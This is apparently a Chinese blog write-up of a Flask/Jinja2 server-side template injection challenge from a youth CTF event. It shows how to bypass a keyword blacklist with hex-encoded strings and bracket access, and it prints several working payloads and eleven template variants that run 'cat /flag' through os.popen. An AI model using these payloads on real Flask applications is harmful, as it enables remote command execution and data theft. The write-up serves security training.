【青少年CTF S1·2026 公益赛】答案之书

题目是 Python Flask 环境。在输入框输入 {{7*7}},页面回显 49,确认存在 Jinja2 SSTI 漏洞

复制代码
Flask的默认模板引擎是Jinja,且支持{{ 表达式 }}运算,因此可以判断是Jinja

尝试输入 {{config}}、{{flag}} 或 {{''.class}},页面提示"禁忌之语"或报错。

题目设置了黑名单,过滤了 os、flag、system、popen、globals 等敏感关键词。

使用Hex编码绕过关键字过滤

使用中括号形式避免.的过滤

Python支持十六进制Hex,可以使用Hex编码来绕过关键字过滤

如:os 可以写成 \x6f\x73,WAF 认不出这是 os,但 Python 后端执行时会自动还原。

同时,为了避免使用点号 . 可能带来的过滤,使用字典中括号 '...' 的形式调用属性。

攻击链

复制代码
找一个内置对象 (lipsum 或 url_for) -> 获取全局变量 (__globals__) -> 引入 os 模块 -> 调用 popen 执行命令 -> read 读取结果。

globals -> \x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f
os -> \x6f\x73
popen -> \x70\x6f\x70\x65\x6e
cat /flag -> \x63\x61\x74\x20\x2f\x66\x6c\x61\x67`

payload如下

python 复制代码
使用lipsum 模块
/?question={{lipsum['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x6f\x73']['\x70\x6f\x70\x65\x6e']('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67')['\x72\x65\x61\x64']()}}
或者使用url_for模块
/?question={{url_for['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x6f\x73']['\x70\x6f\x70\x65\x6e']('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67')['\x72\x65\x61\x64']()}}
或者使用cycler 模块
/?question={{cycler['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x6f\x73']['\x70\x6f\x70\x65\x6e']('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67')['\x72\x65\x61\x64']()}}

上面payload的字符形式如下

python 复制代码
{{lipsum['__globals__']['os']['popen']('cat /flag')['read']()}}

{{url_for['__globals__']['os']['popen']('cat /flag')['read']()}}

{{cycler['__init__']['__globals__']['os']['popen']('cat /flag')['read']()}}

得到flag

下面是常见的跳板模板

python 复制代码
# 1. lipsum(最常用)
{{lipsum['__globals__']['os'].popen('cat /flag').read()}}

# 2. url_for(Flask 必带)
{{url_for['__globals__']['os'].popen('cat /flag').read()}}

# 3. cycler(Jinja2 必带)
{{cycler['__init__']['__globals__']['os'].popen('cat /flag').read()}}

# 4. request(超级稳)
{{request['__class__']['__init__']['__globals__']['os'].popen('cat /flag').read()}}

# 5. namespace
{{namespace['__globals__']['os'].popen('cat /flag').read()}}

# 6. dict / list / int 等原生类型
{{dict['__class__']['__bases__'][0]['__subclasses__']()[...].popen(...).read()}}

# 7. joiner
{{joiner['__globals__']['os'].popen('cat /flag').read()}}

# 8. g(Flask全局对象)
{{g['__globals__']['os'].popen('cat /flag').read()}}

# 9. namespace
{{self['__globals__']['os'].popen('cat /flag').read()}}

# 10. get_flashed_messages
{{get_flashed_messages.__globals__.os.popen('cat /flag').read()}}

# 11. config
{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}
相关推荐
sbjdhjd16 小时前
从签名重放到 Agent Harness:一堂安全课程如何把前端逆向、MCP 与工程约束串起来
网络安全·ai·github·agent·webshell·mcp·harness
持敬chijing1 天前
白盒测试与代码审计-js登录逆向实战
javascript·网络·安全·web安全·网络安全·网络攻击模型
南棋网络安全1 天前
ssrf跨站请求伪造(保姆级教程)
运维·服务器·网络·网络安全
科技象限1 天前
数据防泄漏系统:文件是怎么溜出门的,就该怎么堵
运维·网络·网络安全·安企神
听说6661 天前
信息安全工程师 - 第二十二章 网站安全需求分析与安全保护工程
网络·安全·web安全·网络安全·系统安全
白帽攻防录2 天前
SRC 挖洞:PowerPoint 四个 RCE,预览窗格怎么变成零点击入口
网络安全·powerpoint·文档安全
酒神dnspup2 天前
DNS 泄露检测怎么做:从随机权威域名、递归解析器出口到 HTTP 出口一致性
网络安全·dns·网络排查·dns泄露
学逆向的2 天前
C 选择结构的执行效率分析
c语言·开发语言·算法·网络安全
愤怒火龙果2 天前
AI攻防 LLM中间件
人工智能·网络安全·中间件
持敬chijing2 天前
白盒测试与代码审计-JS 数据逆向
javascript·网络·安全·web安全·网络安全·网络攻击模型·安全威胁分析